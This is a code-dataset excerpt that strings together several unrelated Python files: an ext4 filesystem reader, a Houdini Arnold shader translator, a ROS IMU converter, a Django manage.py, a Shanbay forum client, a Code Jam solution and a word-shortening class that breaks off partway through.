(self.inode.i_mode & ext4_inode.S_IXUSR) != 0, (self.inode.i_mode & ext4_inode.S_ISUID) != 0),\r\n\r\n \"r\" if (self.inode.i_mode & ext4_inode.S_IRGRP) != 0 else \"-\",\r\n \"w\" if (self.inode.i_mode & ext4_inode.S_IWGRP) != 0 else \"-\",\r\n special_flag(\"s\", (self.inode.i_mode & ext4_inode.S_IXGRP) != 0, (self.inode.i_mode & ext4_inode.S_ISGID) != 0),\r\n\r\n \"r\" if (self.inode.i_mode & ext4_inode.S_IROTH) != 0 else \"-\",\r\n \"w\" if (self.inode.i_mode & ext4_inode.S_IWOTH) != 0 else \"-\",\r\n special_flag(\"t\", (self.inode.i_mode & ext4_inode.S_IXOTH) != 0, (self.inode.i_mode & ext4_inode.S_ISVTX) != 0),\r\n ])\r\n\r\n def open_dir (self, decode_name = None):\r\n \"\"\"\r\n Generator: Yields the directory entries as tuples (decode_name(name), inode, file_type) in their on-disk order,\r\n where name is the raw on-disk directory entry name (bytes). file_type is one of the Inode.IT_* constants. For\r\n special cases (e.g. invalid utf8 characters in entry names) you can try a different decoder (e.g.\r\n decode_name = lambda raw: raw).\r\n Default of decode_name = lambda raw: raw.decode(\"utf8\")\r\n \"\"\"\r\n # Parse args\r\n if decode_name == None:\r\n decode_name = lambda raw: raw.decode(\"utf8\")\r\n\r\n if not self.volume.ignore_flags and not self.is_dir:\r\n raise Ext4Error(f\"Inode ({self.inode_idx:d}) is not a directory.\")\r\n\r\n # # Hash trees are compatible with linear arrays\r\n if (self.inode.i_flags & ext4_inode.EXT4_INDEX_FL) != 0:\r\n raise NotImplementedError(\"Hash trees are not implemented yet.\")\r\n\r\n # Read raw directory content\r\n raw_data = self.open_read().read()\r\n offset = 0\r\n\r\n while offset < len(raw_data):\r\n dirent = ext4_dir_entry_2._from_buffer_copy(raw_data, offset, platform64 = self.volume.platform64)\r\n\r\n if dirent.file_type != InodeType.CHECKSUM:\r\n yield (decode_name(dirent.name), dirent.inode, dirent.file_type)\r\n\r\n offset += dirent.rec_len\r\n\r\n def open_read (self):\r\n \"\"\"\r\n Returns an BlockReader instance for reading this inode's raw content.\r\n \"\"\"\r\n if (self.inode.i_flags & ext4_inode.EXT4_EXTENTS_FL) != 0:\r\n # Obtain mapping from extents\r\n mapping = [] # List of MappingEntry instances\r\n\r\n nodes = queue.Queue()\r\n nodes.put_nowait(self.offset + ext4_inode.i_block.offset)\r\n\r\n while nodes.qsize() != 0:\r\n header_offset = nodes.get_nowait()\r\n header = self.volume.read_struct(ext4_extent_header, header_offset)\r\n\r\n if not self.volume.ignore_magic and header.eh_magic != 0xF30A:\r\n raise MagicError(f\"Invalid magic value in extent header at offset 0x{header_offset:X} of inode {self.inode_idx:d}: 0x{header.eh_magic:04X} (expected 0xF30A)\")\r\n\r\n if header.eh_depth != 0:\r\n indices = self.volume.read_struct(ext4_extent_idx * header.eh_entries, header_offset + ctypes.sizeof(ext4_extent_header))\r\n for idx in indices: nodes.put_nowait(idx.ei_leaf * self.volume.block_size)\r\n else:\r\n extents = self.volume.read_struct(ext4_extent * header.eh_entries, header_offset + ctypes.sizeof(ext4_extent_header))\r\n for extent in extents:\r\n mapping.append(MappingEntry(extent.ee_block, extent.ee_start, extent.ee_len))\r\n\r\n MappingEntry.optimize(mapping)\r\n return BlockReader(self.volume, len(self), mapping)\r\n else:\r\n # Inode uses inline data\r\n i_block = self.volume.read(self.offset + ext4_inode.i_block.offset, ext4_inode.i_block.size)\r\n return io.BytesIO(i_block[:self.inode.i_size])\r\n\r\n @property\r\n def size_readable (self):\r\n \"\"\"\r\n Returns the inode's content length in a readable format (e.g. \"123 bytes\", \"2.03 KiB\" or \"3.00 GiB\"). Possible\r\n units are bytes, KiB, MiB, GiB, TiB, PiB, EiB, ZiB, YiB.\r\n \"\"\"\r\n if self.inode.i_size < 1024:\r\n return f\"{self.inode.i_size} bytes\" if self.inode.i_size != 1 else \"1 byte\"\r\n else:\r\n units = [\"KiB\", \"MiB\", \"GiB\", \"TiB\", \"PiB\", \"EiB\", \"ZiB\", \"YiB\"]\r\n unit_idx = min(int(math.log(self.inode.i_size, 1024)), len(units))\r\n\r\n return f\"{self.inode.i_size / (1024 ** unit_idx):.2f} {units[unit_idx - 1]:s}\"\r\n\r\n def xattrs (self, check_inline = True, check_block = True, force_inline = False, prefix_override = {}):\r\n \"\"\"\r\n Generator: Yields the inode's extended attributes as tuples (name, value) in their on-disk order, where name (str)\r\n is the on-disk attribute name including its resolved name prefix and value (bytes) is the raw attribute value.\r\n check_inline and check_block control where to read attributes (the inode's inline data and/or the external data block\r\n pointed to by i_file_acl) and if check_inline as well as force_inline are set to True, the inode's inline data\r\n will not be verified to contain actual extended attributes and instead is just interpreted as such. prefix_overrides\r\n is directly passed to Inode._parse_xattrs.\r\n \"\"\"\r\n # Inline xattrs\r\n inline_data_offset = self.offset + ext4_inode.EXT2_GOOD_OLD_INODE_SIZE + self.inode.i_extra_isize\r\n inline_data_length = self.offset + self.volume.superblock.s_inode_size - inline_data_offset\r\n\r\n if check_inline and inline_data_length > ctypes.sizeof(ext4_xattr_ibody_header):\r\n inline_data = self.volume.read(inline_data_offset, inline_data_length)\r\n xattrs_header = ext4_xattr_ibody_header.from_buffer_copy(inline_data)\r\n\r\n # TODO Find way to detect inline xattrs without checking the h_magic field to enable error detection with the h_magic field.\r\n if force_inline or xattrs_header.h_magic == 0xEA020000:\r\n offset = 4 * ((ctypes.sizeof(ext4_xattr_ibody_header) + 3) // 4) # The ext4_xattr_entry following the header is aligned on a 4-byte boundary\r\n for xattr_name, xattr_value in self._parse_xattrs(inline_data[offset:], 0, prefix_override = prefix_override):\r\n yield (xattr_name, xattr_value)\r\n\r\n # xattr block(s)\r\n if check_block and self.inode.i_file_acl != 0:\r\n xattrs_block_start = self.inode.i_file_acl * self.volume.block_size\r\n xattrs_block = self.volume.read(xattrs_block_start, self.volume.block_size)\r\n\r\n xattrs_header = ext4_xattr_header.from_buffer_copy(xattrs_block)\r\n if not self.volume.ignore_magic and xattrs_header.h_magic != 0xEA020000:\r\n raise MagicError(f\"Invalid magic value in xattrs block header at offset 0x{xattrs_block_start:X} of inode {self.inode_idx:d}: 0x{xattrs_header.h_magic} (expected 0xEA020000)\")\r\n\r\n if xattrs_header.h_blocks != 1:\r\n raise Ext4Error(f\"Invalid number of xattr blocks at offset 0x{xattrs_block_start:X} of inode {self.inode_idx:d}: {xattrs_header.h_blocks:d} (expected 1)\")\r\n\r\n offset = 4 * ((ctypes.sizeof(ext4_xattr_header) + 3) // 4) # The ext4_xattr_entry following the header is aligned on a 4-byte boundary\r\n for xattr_name, xattr_value in self._parse_xattrs(xattrs_block[offset:], -offset, prefix_override = prefix_override):\r\n yield (xattr_name, xattr_value)\r\n\r\n\r\n\r\nclass BlockReader:\r\n \"\"\"\r\n Maps disk blocks into a linear byte stream.\r\n NOTE: This class does not implement buffering or caching.\r\n \"\"\"\r\n\r\n # OSError\r\n EINVAL = 22\r\n\r\n def __init__ (self, volume, byte_size, block_map):\r\n \"\"\"\r\n Initializes a new block reader on the specified volume. mapping must be a list of MappingEntry instances. If\r\n you prefer a way to use 2-tuples (disk_block_idx, block_count) with inferred file_block_index entries, see\r\n MappingEntry.create_mapping.\r\n \"\"\"\r\n self.byte_size = byte_size\r\n self.volume = volume\r\n\r\n self.cursor = 0\r\n\r\n block_map = list(map(MappingEntry.copy, block_map))\r\n\r\n # Optimize mapping (stich together)\r\n MappingEntry.optimize(block_map)\r\n self.block_map = block_map\r\n\r\n def __repr__ (self):\r\n return f\"{type(self).__name__:s}(byte_size = {self.byte_size!r:s}, block_map = {self.block_map!r:s}, volume_uuid = {self.volume.uuid!r:s})\"\r\n\r\n def get_block_mapping (self, file_block_idx):\r\n \"\"\"\r\n Returns the disk block index of the file block specified by file_block_idx.\r\n \"\"\"\r\n disk_block_idx = None\r\n\r\n # Find disk block\r\n for entry in self.block_map:\r\n if entry.file_block_idx <= file_block_idx < entry.file_block_idx + entry.block_count:\r\n block_diff = file_block_idx - entry.file_block_idx\r\n disk_block_idx = entry.disk_block_idx + block_diff\r\n break\r\n\r\n return disk_block_idx\r\n\r\n def read (self, byte_len = -1):\r\n \"\"\"\r\n Reades up to byte_len bytes from the block device beginning at the cursor's current position. This operation will\r\n not exceed the inode's size. If -1 is passed for byte_len, the inode is read to the end.\r\n \"\"\"\r\n # Parse args\r\n if byte_len < -1: raise ValueError(\"byte_len must be non-negative or -1\")\r\n\r\n bytes_remaining = self.byte_size - self.cursor\r\n byte_len = bytes_remaining if byte_len == -1 else max(0, min(byte_len, bytes_remaining))\r\n\r\n if byte_len == 0: return b\"\"\r\n\r\n # Reading blocks\r\n start_block_idx = self.cursor // self.volume.block_size\r\n end_block_idx = (self.cursor + byte_len - 1) // self.volume.block_size\r\n end_of_stream_check = byte_len\r\n\r\n blocks = [self.read_block(i) for i in range(start_block_idx, end_block_idx - start_block_idx + 1)]\r\n\r\n start_offset = self.cursor % self.volume.block_size\r\n if start_offset != 0: blocks[0] = blocks[0][start_offset:]\r\n byte_len = (byte_len + start_offset - self.volume.block_size - 1) % self.volume.block_size + 1\r\n blocks[-1] = blocks[-1][:byte_len]\r\n\r\n result = b\"\".join(blocks)\r\n\r\n # Check read\r\n if len(result) != end_of_stream_check:\r\n raise EndOfStreamError(f\"The volume's underlying stream ended {byte_len - len(result):d} bytes before EOF.\")\r\n\r\n self.cursor += len(result)\r\n return result\r\n\r\n def read_block (self, file_block_idx):\r\n \"\"\"\r\n Reads one block from disk (return a zero-block if the file block is not mapped)\r\n \"\"\"\r\n disk_block_idx = self.get_block_mapping(file_block_idx)\r\n\r\n if disk_block_idx != None:\r\n return self.volume.read(disk_block_idx * self.volume.block_size, self.volume.block_size)\r\n else:\r\n return bytes([0] * self.volume.block_size)\r\n\r\n def seek (self, seek, seek_mode = io.SEEK_SET):\r\n \"\"\"\r\n Moves the internal cursor along the file (not the disk) and behaves like BufferedReader.seek\r\n \"\"\"\r\n if seek_mode == io.SEEK_CUR:\r\n seek += self.cursor\r\n elif seek_mode == io.SEEK_END:\r\n seek += self.byte_size\r\n # elif seek_mode == io.SEEK_SET:\r\n # seek += 0\r\n\r\n if seek < 0:\r\n raise OSError(BlockReader.EINVAL, \"Invalid argument\") # Exception behavior copied from IOBase.seek\r\n\r\n self.cursor = seek\r\n return seek\r\n\r\n def tell (self):\r\n \"\"\"\r\n Returns the internal cursor's current file offset.\r\n \"\"\"\r\n return self.cursor\r\n\r\n\r\n\r\nclass Tools:\r\n \"\"\"\r\n Provides helpful utility functions\r\n \"\"\"\r\n\r\n def list_dir (\r\n volume,\r\n identifier,\r\n decode_name = None,\r\n sort_key = Inode.directory_entry_key,\r\n line_format = None,\r\n file_types = {0 : \"unkn\", 1 : \"file\", 2 : \"dir\", 3 : \"chr\", 4 : \"blk\", 5 : \"fifo\", 6 : \"sock\", 7 : \"sym\"}\r\n ):\r\n \"\"\"\r\n Similar to \"ls -la\" this function lists all entries from a directory of volume.\r\n\r\n identifier might be an Inode instance, an integer describing the directory's inode index, a str/bytes describing\r\n the directory's full path or a list of entry names. decode_name is directly passed to open_dir. See Inode.get_inode\r\n for more details.\r\n\r\n sort_key is the key-function used for sorting the directories entries. If None is passed, the call to sorted is\r\n omitted.\r\n\r\n line_format is a format string specifying each line's format or a function formatting each line. It is used as\r\n follows:\r\n\r\n line_format(\r\n file_name = file_name, # Entry name\r\n inode = volume.get_inode(inode_idx, file_type), # Referenced inode\r\n file_type = file_type, # Entry type (int)\r\n file_type_str = file_types[file_type] if file_type in file_types else \"?\" # Entry type (str, see next paragraph)\r\n )\r\n\r\n The default of line_format is the following function:\r\n\r\n def line_format (file_name, inode, file_type, file_type_str):\r\n if file_type == InodeType.SYMBOLIC_LINK:\r\n link_target = inode.open_read().read().decode(\"utf8\")\r\n return f\"{inode.mode_str:s} {inode.size_readable: >10s} {file_name:s} -> {link_target:s}\"\r\n else:\r\n return f\"{inode.mode_str:s} {inode.size_readable: >10s} {file_name:s}\"\r\n\r\n file_types is a dictionary specifying the names of the different entry types.\r\n \"\"\"\r\n # Parse arguments\r\n if isinstance(identifier, Inode):\r\n inode = identifier\r\n elif isinstance(identifier, int):\r\n inode = volume.get_inode(identifier, InodeType.DIRECTORY)\r\n elif isinstance(identifier, str):\r\n identifier = identifier.strip(\" /\").split(\"/\")\r\n\r\n if len(identifier) == 1 and identifier[0] == \"\":\r\n inode = volume.root\r\n else:\r\n inode = volume.root.get_inode(*identifier)\r\n elif isinstance(identifier, list):\r\n inode = volume.root.get_inode(*identifier)\r\n\r\n if line_format == None:\r\n def _line_format (file_name, inode, file_type, file_type_str):\r\n if file_type == InodeType.SYMBOLIC_LINK:\r\n link_target = inode.open_read().read().decode(\"utf8\")\r\n return f\"{inode.mode_str:s} {inode.size_readable: >10s} {file_name:s} -> {link_target:s}\"\r\n else:\r\n return f\"{inode.mode_str:s} {inode.size_readable: >10s} {file_name:s}\"\r\n\r\n line_format = _line_format\r\n elif isinstance(line_format, str):\r\n line_format = line_format.format\r\n\r\n # Print directory\r\n entries = inode.open_dir(decode_name) if sort_key is None else sorted(inode.open_dir(decode_name), key = sort_key)\r\n\r\n for file_name, inode_idx, file_type in entries:\r\n print(line_format(\r\n file_name = file_name,\r\n inode = volume.get_inode(inode_idx, file_type),\r\n file_type = file_type,\r\n file_type_str = file_types[file_type] if file_type in file_types else \"?\"\r\n ))","sub_path":"ext4.py","file_name":"ext4.py","file_ext":"py","file_size_in_byte":52814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558861621","text":"import hou\nimport husdshadertranslators.utils as utils\nfrom husdshadertranslators.default import DefaultShaderTranslatorHelper, renderContextName, RampParmTranslator\n\nfrom pxr import Usd, UsdShade, Sdf, Vt\n\nfrom itertools import izip\n\n# TODO(pal):\n# - Support putting fetch nodes in the middle of the shader graph.\n# - Investigate animated parameters, especially the ramp.\n# - Filter the extra parameters created on the ramp nodes.\n\n# Arnold shaders have the render mask of VMantra. This would be great to change\n# as mantra and other shader types might share this mask.\nARNOLD_RENDER_MASK = 'VMantra'\nARNOLD_TERMINALS = [hou.shaderType.Surface, hou.shaderType.Displacement, 'volume']\nARNOLD_NODE_PREFIX = 'arnold::'\nARNOLD_USD_PREFIX = 'arnold:'\nARNOLD_FETCH_NAME = 'arnold::fetch'\nARNOLD_RENDER_CONTEXT_NAME = 'arnold'\nARNOLD_RAMP_TYPES = ['arnold::ramp_rgb', 'arnold::ramp_float']\nARNOLD_RAMP_INTERP_REMAP = {\n hou.rampBasis.Constant: 0,\n hou.rampBasis.Linear: 1,\n hou.rampBasis.CatmullRom: 2,\n hou.rampBasis.BSpline: 2,\n hou.rampBasis.MonotoneCubic: 3,\n}\nARNOLD_MATERIAL = 'arnold_material'\nARNOLD_MATERIALBUILDER = 'arnold_materialbuilder'\n\ndef resolve_fetch_vop(node):\n while node.type().name() == ARNOLD_FETCH_NAME:\n if node.isBypassed():\n return None\n node = node.parm('target').evalAsNode()\n if not node:\n return None\n return node\n\ndef find_first_node_of_type(node, node_type):\n for child in node.children():\n child = resolve_fetch_vop(child)\n if child.type().name() == node_type:\n return child\n return None\n\ndef get_shaders_to_translate(shader_node):\n return [(input, terminal) for input, terminal in izip(shader_node.inputs(), ARNOLD_TERMINALS) if input is not None]\n\nclass ArnoldRampParmTranslator(RampParmTranslator):\n \"\"\"\n Translator for Arnold ramp shader params.\n \"\"\"\n\n def createAndSetAttrib(self, usd_shader, time_code):\n \"\"\" Creates an attribute on the usd shader primitive and sets its value\n according to the member node parameter, at the specified time code.\n \"\"\"\n ramp = self.valueFromParm(self.parmTuple(), time_code)[0]\n output_time_code = self.adjustTimeCode(time_code)\n\n position = usd_shader.CreateInput('position', Sdf.ValueTypeNames.FloatArray)\n position.Set(Vt.FloatArray(ramp.keys()), output_time_code)\n\n interpolation = usd_shader.CreateInput('interpolation', Sdf.ValueTypeNames.IntArray)\n interpolation.Set([ARNOLD_RAMP_INTERP_REMAP.get(v, 3) for v in ramp.basis()], output_time_code)\n\n if ramp.isColor():\n value_input = usd_shader.CreateInput('color', Sdf.ValueTypeNames.Color3fArray)\n value = ramp.values()\n else:\n value_input = usd_shader.CreateInput('value', Sdf.ValueTypeNames.FloatArray)\n value = Vt.FloatArray(ramp.values())\n value_input.Set(value, output_time_code)\n\nclass ArnoldShaderHelper(DefaultShaderTranslatorHelper):\n # Just initializing the default shader translator helper.\n def __init__(self, translator_id, usd_stage, usd_material_path, usd_time_code):\n DefaultShaderTranslatorHelper.__init__(self, translator_id, usd_stage, usd_material_path, usd_time_code)\n\n def createShaderPrimID(self, shader_prim, shader_node):\n \"\"\"\n Creates and sets the id parameter on the shader. We are querying the shader_node's type name and removing the\n arnold:: prefix, and setting the id to arnold:\n \"\"\"\n type_name = shader_node.type().name()\n if type_name.startswith(ARNOLD_NODE_PREFIX):\n shader_name = type_name[len(ARNOLD_NODE_PREFIX):]\n shader_prim.SetShaderId(ARNOLD_USD_PREFIX + shader_name)\n # Falling back to the built-in function.\n else:\n DefaultShaderTranslatorHelper.createShaderPrimID(self, shader_prim, shader_node)\n\n def createShaderPrimAttributes(self, shader_prim, shader_node):\n \"\"\" Creates and sets the shader parameters on the usd shader\n based on the given shader node.\n \"\"\"\n for parm_tuple in shader_node.parmTuples():\n parm_template = parm_tuple.parmTemplate()\n if isinstance(parm_template, hou.FolderParmTemplate) or isinstance(parm_template, hou.FolderSetParmTemplate):\n continue\n\n parm_translator = self.getParmTranslator(parm_tuple)\n if parm_translator is None:\n continue\n\n # Create an attribute on the usd prim and set its value.\n parm_translator.createAndSetAttrib(shader_prim, self.timeCode())\n\n def getRampParmTranslator(self, parm_tuple):\n \"\"\" Returns a translator for ramp parameters.\n \"\"\"\n if parm_tuple.node().type().name() not in ARNOLD_RAMP_TYPES:\n return None\n return ArnoldRampParmTranslator(parm_tuple)\n\n def getRenderContextName(self, shader_node, shader_node_output_name):\n \"\"\" Returns the name of the render context to be used in material\n output name.\n \"\"\"\n # We are only calling this helper on arnold shader, so we can just\n # hardcode the value.\n return ARNOLD_RENDER_CONTEXT_NAME\n\nclass ArnoldShaderTranslator(object):\n def __init__(self):\n self.my_id = -1\n\n def setTranslatorID(self, translator_id):\n self.my_id = translator_id\n\n def translatorID(self):\n return self.my_id\n\n def matchesRenderMask(self, render_mask):\n return render_mask == ARNOLD_RENDER_MASK\n\n def createMaterialShader(self, usd_stage, usd_material_path, usd_time_code, shader_node, shader_type, output_name):\n \"\"\" Creates a USD shader primitive that is part of the USD material\n Ie, the translator will connect the shader to the material output.\n\n usd_stage - UsdStage object on which to create the shader.\n usd_material_path - Path to the material primitive\n in which to create the shader.\n usd_time_code - time code (frame) at which to evaluate shader\n parameters and at which to set the primitive attributes.\n shader_node - Houdini node representing a shader.\n shader_type - Requested shader type to use, in case\n the shader node implements several shaders\n (eg, is a material builder).\n outupt_name - Particular output of the Houdini node that was\n used to arrive at the shader node and which represents the\n shader to translate (in case the node has several shaders).\n The output name can be an empty string, if node has no outputs.\n \"\"\"\n shader_node = resolve_fetch_vop(shader_node)\n if shader_node is None:\n return\n type_name = shader_node.type().name()\n # If type name is 'arnold_material' then we are working with an output node, and we need to check the different\n # terminals. Otherwise we are just dealing with the first node.\n shaders_to_translate = []\n # We directly got an arnold material, simply translate.\n if type_name == ARNOLD_MATERIAL:\n shaders_to_translate = get_shaders_to_translate(shader_node)\n # We pointed the material library to an arnold material builder, so we look for the first\n # arnold material inside and translate that.\n elif type_name == ARNOLD_MATERIALBUILDER:\n arnold_material = find_first_node_of_type(shader_node, ARNOLD_MATERIAL)\n if arnold_material:\n shaders_to_translate = get_shaders_to_translate(arnold_material)\n # We pointed to an arnold shader, and we are making the assumption that this is a surface shader.\n elif type_name.startswith(ARNOLD_NODE_PREFIX):\n shaders_to_translate = [(shader_node, ARNOLD_TERMINALS[0])]\n else:\n # If we are dealing with non-arnold materials, we are running the default shader translator.\n helper = DefaultShaderTranslatorHelper(self.translatorID(), usd_stage, usd_material_path, usd_time_code)\n helper.createMaterialShader(shader_node, shader_type, output_name)\n return\n\n for shader, shader_type in shaders_to_translate:\n shader = resolve_fetch_vop(shader)\n if shader and not shader.isBypassed():\n helper = ArnoldShaderHelper(self.translatorID(), usd_stage, usd_material_path, usd_time_code)\n helper.createMaterialShader(shader, shader_type, output_name)\n\narnold_translator = ArnoldShaderTranslator()\n\ndef usdShaderTranslator():\n return arnold_translator\n","sub_path":"third_party/houdini/scripts/python/husdshadertranslators/arnold.py","file_name":"arnold.py","file_ext":"py","file_size_in_byte":8680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"175492813","text":"#!/usr/bin/env python\n\n\"\"\"Takes vehicle heading data from the EKF odometry message as well as orientation, twist, and accel data from the IMU and publishes as an imu message.\n\nNOTE: The EKF assumes a 2-D world so the roll, pitch, roll rate, pitch rate, and linear acceleration must come from the IMU\n\nSubscribes\n----------\nTopic: /odometry/filtered\n Msg: nav_msgs/Odometry\n\nTopic: /localization/rotated_imu\n Msg: sensor_msgs/Imu\n\nPublishes\n---------\nTopic: /localization/ekf_orientation\n Msg: sensor_msgs/Imu\n\n\"\"\"\n\nimport rospy\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler\nfrom nav_msgs.msg import Odometry\nfrom sensor_msgs.msg import Imu\nfrom geometry_msgs.msg import Quaternion\n\nclass imuMsgConverter(object):\n \"\"\"Takes orientation data from the EKF and republishes as an IMU message\"\"\"\n\n def __init__(self):\n self.imuMsgPublisher = rospy.Publisher(\"/localization/ekf_orientation\", Imu, queue_size = 100)\n\n # Initialize a sensor_msgs/Imu message and assign to the imuMsgConverter object\n self.receivedImuMsg = Imu()\n\n # Initialize a geometry/Quaternion message and assign to the imuMsgConverter object\n self.receivedImuQuat = Quaternion()\n\n def imu_callback(self, imuMsg):\n \"\"\"Callback subscribed to the IMU output\"\"\"\n self.receivedImuMsg = imuMsg\n self.receivedImuQuat = imuMsg.orientation\n\n def ekf_callback(self, ekfMsg):\n \"\"\"Callback subscribed to the EKF output\"\"\"\n updatedImuMsg = self.create_imu_msg(ekfMsg.pose.pose.orientation.x, ekfMsg.pose.pose.orientation.y,\n ekfMsg.pose.pose.orientation.z, ekfMsg.pose.pose.orientation.w,\n self.receivedImuQuat.x, self.receivedImuQuat.y,\n self.receivedImuQuat.z, self.receivedImuQuat.w)\n \n self.imuMsgPublisher.publish(updatedImuMsg)\n\n def create_imu_msg(self, ekf_quat_x, ekf_quat_y, ekf_quat_z, ekf_quat_w, imu_quat_x, imu_quat_y, imu_quat_z, imu_quat_w):\n \"\"\"Compose the Imu message\"\"\"\n updatedImuMsg = self.receivedImuMsg\n\n # Take the roll, pitch, and yaw from the ekf message\n (ekf_roll, ekf_pitch, ekf_yaw) = euler_from_quaternion([ekf_quat_x, ekf_quat_y, ekf_quat_z, ekf_quat_w])\n\n # Take the roll, pitch, and yaw from the imu message\n (imu_roll, imu_pitch, imu_yaw) = euler_from_quaternion([imu_quat_x, imu_quat_y, imu_quat_z, imu_quat_w])\n \n # Place the roll and pitch from the imu and the yaw from the ekf into the updated Imu message\n (new_quat_x, new_quat_y, new_quat_z, new_quat_w) = quaternion_from_euler(imu_roll, imu_pitch, ekf_yaw)\n \n updatedImuMsg.orientation.x = new_quat_x\n updatedImuMsg.orientation.y = new_quat_y\n updatedImuMsg.orientation.z = new_quat_z\n updatedImuMsg.orientation.w = new_quat_w\n\n return updatedImuMsg\n \n def imu_data_converter(self):\n \"\"\"Take the EKF orientation data and IMU data, convert to new IMU message, republish\"\"\"\n rospy.Subscriber(\"/odometry/filtered\", Odometry, self.ekf_callback, queue_size = 100)\n rospy.Subscriber(\"/localization/rotated_imu\", Imu, self.imu_callback, queue_size = 100)\n rospy.spin()\n\ndef main():\n rospy.init_node(\"imu_converter_node\", anonymous=False)\n imuConverter = imuMsgConverter()\n\n try:\n imuConverter.imu_data_converter()\n except rospy.ROSInterruptException:\n pass\n\nif __name__ == \"__main__\":\n main()\n ","sub_path":"src/modules/localization/src/ekf_orientation_to_imu/ekf_orientation_to_imu.py","file_name":"ekf_orientation_to_imu.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"438450147","text":"#!/usr/bin/env python\nimport os\nimport sys\n\n\ndef createEmptyFile(path):\n basedir = os.path.dirname(path)\n if not os.path.exists(basedir):\n os.makedirs(basedir)\n\n with open(path, 'a'):\n os.utime(path, None)\n\ndef createEmptyFileIfNotExistant(path):\n if not os.path.isfile(path):\n createEmptyFile(path)\n\n\nif __name__ == \"__main__\":\n from django.conf import settings\n from django.core.management import execute_from_command_line\n\n # create log file by default to prevent django logger errors\n BASE_DIR = os.path.dirname(os.path.realpath(__file__))\n debugLogs = os.path.join(BASE_DIR, 'logs', 'debug.log')\n createEmptyFileIfNotExistant(debugLogs)\n\n # choose local settings if available\n devSettings = \"boilerplate.settings.dev\"\n localSettings = \"boilerplate.settings.local\"\n\n djangoSettings = localSettings\n if not os.path.isfile(os.path.join(BASE_DIR, 'boilerplate', 'settings', 'local.py')):\n djangoSettings = devSettings\n\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", djangoSettings)\n\n # run manage command\n execute_from_command_line(sys.argv)\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"653801326","text":"# -*- coding: utf-8 -*-\nfrom .auth import Auth\nfrom .model import ThreadModel, PostModel\n\n\nclass TeamThread(Auth):\n def __init__(self, team_id, starred=False):\n \"\"\"\n 用于获取小组话题\n :param team_id: 小组ID\n :param starred: 是否仅获取精华话题\n \"\"\"\n self.team_id = team_id\n self.starred = starred\n\n def fetch(self, page, ipp=20):\n \"\"\"\n 获取话题列表\n :rtype: dict\n :param page: 页数\n :param ipp: 每页多少条\n :return:服务器返回的JSON数据\n \"\"\"\n if self.starred:\n url = 'https://www.shanbay.com/api/v1/team/%s/thread/?starred&page=%d&ipp=%d' % (self.team_id, page, ipp)\n else:\n url = 'https://www.shanbay.com/api/v1/team/%s/thread/?page=%d&ipp=%d' % (self.team_id, page, ipp)\n return __class__.request.get(url).json()\n\n def page_threads(self, page, ipp=20):\n \"\"\"\n 获取该页的话题并解析\n :rtype: list\n :param page: 页数\n :param ipp: 每页多少条\n :return: 该页的话题\n \"\"\"\n _json = self.fetch(page, ipp)\n tmp = []\n for obj in _json['data']['objects']:\n tmp.append(ThreadModel(**obj))\n return tmp\n\n def ithreads(self, start_page=1, end_page=500, ipp=20):\n \"\"\"\n 获取话题并解析,自动翻页。\n 注意:小组的话题可能非常多,使用该方法时注意加条件限制获取条数。\n :param start_page: 起始页码\n :param end_page: 终止页码\n :param ipp: 每页多少条\n \"\"\"\n for page in range(start_page, end_page + 1):\n for thds in self.page_threads(page, ipp):\n yield thds\n\n\nclass Post(Auth):\n def __init__(self, thread_id):\n \"\"\"\n 用于获取帖子\n :param thread_id: 话题ID\n \"\"\"\n self.thread_id = thread_id\n\n def fetch(self, page, ipp=20):\n \"\"\"\n 获取话题下的帖子\n :rtype: dict\n :param page: 页数\n :param ipp: 每页多少条\n :return: 服务器返回的JSON数据\n \"\"\"\n url = 'https://www.shanbay.com/api/v1/forum/thread/%d/post/?page=%d&ipp=%d' % (self.thread_id, page, ipp)\n return __class__.request.get(url).json()\n\n def iposts(self, ipp=20):\n \"\"\"\n 获取话题下的帖子并解析,该方法返回生成器\n :param ipp: 每页多少条\n \"\"\"\n page = 0\n while True:\n page += 1\n _json = self.fetch(page, ipp)\n for post in _json['data']['posts']:\n yield PostModel(**post)\n if _json['data']['total'] <= page * ipp:\n break\n\n def posts(self):\n \"\"\"\n 获取话题下所有帖子并解析\n :rtype: list\n :return: 所有帖子数组\n \"\"\"\n tmp = []\n for p in self.iposts():\n tmp.append(p)\n return tmp\n","sub_path":"bin/shanbay/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"347425980","text":"#!/usr/bin/python\n\nimport sys\n\ndef factorial( n ):\n if n == 0:\n return 1\n else:\n return n*factorial(n-1)\n\n\ndef nchoosek( n, k ):\n #return factorial(n)/(factorial(k)*factorial(n-k))\n answer = 1\n for i in range(1,k+1):\n answer *= (n - (k - i))\n answer /= i\n return answer\n\nprint(\"0\")\nfor N in range(1,(10**6)+1):\n numbers_seen = set()\n for i in range(1,1000):\n multiple = i*N\n digits = str(multiple)\n for digit in digits:\n numbers_seen.add(digit)\n if len(numbers_seen) == 10:\n print(multiple)\n break\n if i == 1000:\n print(\"INSOMNIA\")\n\n","sub_path":"solutions_5652388522229760_1/Python/DAMF/making_table.py","file_name":"making_table.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289362739","text":"#!/usr/bin/env python\n\n# import argparse\nimport pyphen\n\n\nclass Shortening_Words(object):\n \"\"\"docstring for Shortening_Words\"\"\"\n\n def __init__(self, words, max_len, lang):\n self.dic = pyphen.Pyphen(lang=lang)\n listWords = words.split(\" \")\n self.max_len = int(max_len) - (len(listWords)\n if int(max_len) < len(words) else 0)\n self.phrase = self.short_words(listWords)\n\n def insert(self, index, element, _list):\n pos = 1\n for item in _list:\n if item[index] >= element[index]:\n pos += 1\n elif item[index] < element[index]:\n pos -= 1\n break\n _list.insert(pos, element)\n return _list\n\n def measure_word(self, sizes):\n 